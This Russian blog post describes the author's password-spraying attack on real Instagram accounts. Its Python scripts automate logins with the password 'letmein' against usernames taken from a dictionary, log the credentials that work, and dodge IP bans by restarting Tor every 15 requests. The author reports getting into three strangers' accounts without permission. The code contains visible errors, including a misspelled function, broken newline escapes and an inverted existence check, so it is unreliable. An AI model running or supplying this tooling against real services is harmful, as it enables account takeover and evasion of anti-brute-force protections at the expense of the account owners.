Как я немного Instagram увёл

в 9:17, , рубрики: Instagram, python, информационная безопасность, метки: ,

Как я немного Instagram увёл

Всё началось после того, как я прочитал статью о самых популярных паролях 2013 года. Как, думаю, и многим, мне моментально захотелось проверить, действительно ли эти пароли так уж и популярны. После недолгих раздумий выбор пал на социальную сеть/сервис обмена фотографиями — Instagram.

Первые шаги

Первое, что я сделал — проверил, как именно реагирует веб-версия этого чуда на вход с правильным и неправильным паролем. Всё оказалось стандартным, я даже немного обрадовался. При неправильном пароле с сервера приходит ответ с кодом 200, при верном же — приходит код 302 и редиректит на главную страницу. Этого достаточно, приступаю к написанию скрипта на python, который будет подставлять логин и пароль в форму, а затем узнавать, подошло или нет.

Он выглядел вот так:

import urllib

login_data=urllib.urlensource({'username':'username','password':'password','submit':'Login'})

response = urllib.urlopen('https://instagram.com/accounts/login/',login_data)

f = open('dex.html','w')
f.write(response.read())
f.close()

print 'ok'

Первый же тест выдал ошибку «Включите куки» («This page could not be loaded. If you have cookies disabled in your browser, or you are browsing in Private Mode, please try enabling cookies or turning off Private Mode, and then retrying your action.») Времени у меня было не так много, поэтому я выбрал быстрое решение этой проблемы, которое обычно использую для тестов своих творений, а именно mechanize. Точнее даже mechanize.Browser().

Вторая версия выглядела уже вот так:

import mechanize

name = 'username'
password = 'password'

br = mechanize.Browser()
br.open('https://instagram.com/accounts/login/')
br.select_form(nr = 0)
br.form['username'] = name
br.form['password'] = password
br.submit()

f = open('dex.html','w')
f.write(br.response().read())
f.close()

print 'ok'

Временный успех

И, о чудо! При верной и не верной паре логин/пароль всё отрабатывалось, как нужно. Но код ответа сервера в обоих ситуациях приходил 200. Это не страшно, ведь в ответе мы видим и саму страничку, которая пришла. Просто смотрим какую-либо фразу в странице, говорящую о том, что пароль не подошёл. Если такой нет, то у нас всё отлично, мы нашли пользователя со слабым паролем.

У меня это выглядело вот так:

if br.response().read().find('correct username') == -1:
    print 'YEP'
    log_list = open('log_list.txt','ab+')
    log_list.write(name + ' ' + password + 'n')
    log_list.close()
else:
    print 'NOPE'

Пока всё шло гладко. Sitemap я так и не нашёл, поэтому в качестве базы логинов я подключил стандартный для ubuntu словарь слов английского языка (/usr/share/dict/american-englich), из которого брал все слова, в которых не присутствует апостроф, а база паролей сводилась, по условиям эксперимента, к базе из выше упомянутой статьи. Но из всей базы ручным перебором был выявлен всего один подходящий для сервиса пароль(не разрешает инстаграм использовать слишком уж простые пароли). Стало уже не так интересно, но останавливаться не хотелось. По пути сделал проверку, а существует ли вообще пользователь с таким логином, чтобы впустую не бегать + учитывать в статистике только существующих пользователей. Это же эксперимент!

Всё вместе это уже выглядело вот так:

import mechanize

def checkUrl(url):
    p = urlparse(url)
    conn = httplib.HTTPConnection(p.netloc)
    conn.request('HEAD', p.path)
    resp = conn.getresponse()
    return resp.status < 400

names = open('american-english','r').read().split('n')
password = 'letmein'
number = 0

for name in names:
    if name.find("'") == -1:
        number += 1
        url = 'https://instagram.com/'+name
        if checkUrl(url):
            print 'not exist'
        else:
            print str(number) + ' ' + name 
            br = mechanize.Browser()
            br.open('https://instagram.com/accounts/login/')
            br.select_form(nr = 0)
            br.form['username'] = name
            br.form['password'] = password
            br.submit()
            s = br.response().read().find('correct username')
            if s == -1:
                print 'YEP'
                log_list = open('log_list.txt','ab+')
                log_list.write(name + ' ' + password + 'n')
                log_list.close()
            else:
                print 'NOPE'

Не самая надёжная защита от брутфорса

Спустя 20 итераций инстаграм начал меня выплёвывать с ошибкой 403 Forbidden(доступ запрещён). Их сервер догадался, что я делаю что-то плохое. Я пытался играть с разными куками и подменами браузера. Нет не пускал, значит банят по ip. Нужно использовать прокси. Самым быстрым решением для анонимного входа я нашёл tor. Методом научного тыка было определено, что смена ip требуется примерно после каждых 15 обращений. Машина заработала!

Финальный скрипт:

import os, socks, socket, mechanize, cookielib, httplib
from urlparse import urlparse

def checkUrl(url):
    p = urlparse(url)
    conn = httplib.HTTPConnection(p.netloc)
    conn.request('HEAD', p.path)
    resp = conn.getresponse()
    return resp.status < 400

def create_connection(address, timeout=None, source_address=None):
    sock = socks.socksocket()
    sock.connect(address)
    return sock

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket
socket.create_connection = create_connection

names = open('american-english','r').read().split('n')
password = 'letmein'
number = 0

for name in names:
    if name.find("'") == -1:
	    if number%15 == 0:
	        os.system('service tor restart')
	    number += 1
	    url = 'https://instagram.com/'+name
	    if checkUrl(url):
	        print 'not exist'
	    else:
	        try:
	            print str(number) + ' ' + name 
	            br = mechanize.Browser()
	            br.set_handle_equiv(True)
	            br.set_handle_redirect(True)
	            br.set_handle_robots(False)
	            br.open('https://instagram.com/accounts/login/')
	            br.select_form(nr = 0)
	            br.form['username'] = name
	            br.form['password'] = password
	            br.submit()
	            if br.response().read().find('correct username') == -1:
	                print 'YEP'
	                log_list = open('log_list.txt','ab+')
	                log_list.write(name + ' ' + password + 'n')
	                log_list.close()
	            else:
	                print 'NOPE'
	        except:
	            print 'something wrong'
	            pass

Оставил его трудиться на ночь.

О результатах.

Утром проснулся как в Новый Год в ожидании, какой же подарок мне оставил мой трудолюбивый эльф. Итого было проверено 9103 имени(далеко не все из списка, я остановил скрипт), из них трое использовали уязвимый пароль. Это примерно 0.03% опрошеных — не так и мало. Я был бы рад, если бы нашёлся хотя бы один. Связался с владельцами аккаунтов с просьбой изменить свой пароль. Теперь в мире на 3 человека меньше используют слабенькие пароли, защищая свои любимые фоточки.

Всем спасибо за внимание.

Автор: tenoclock

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js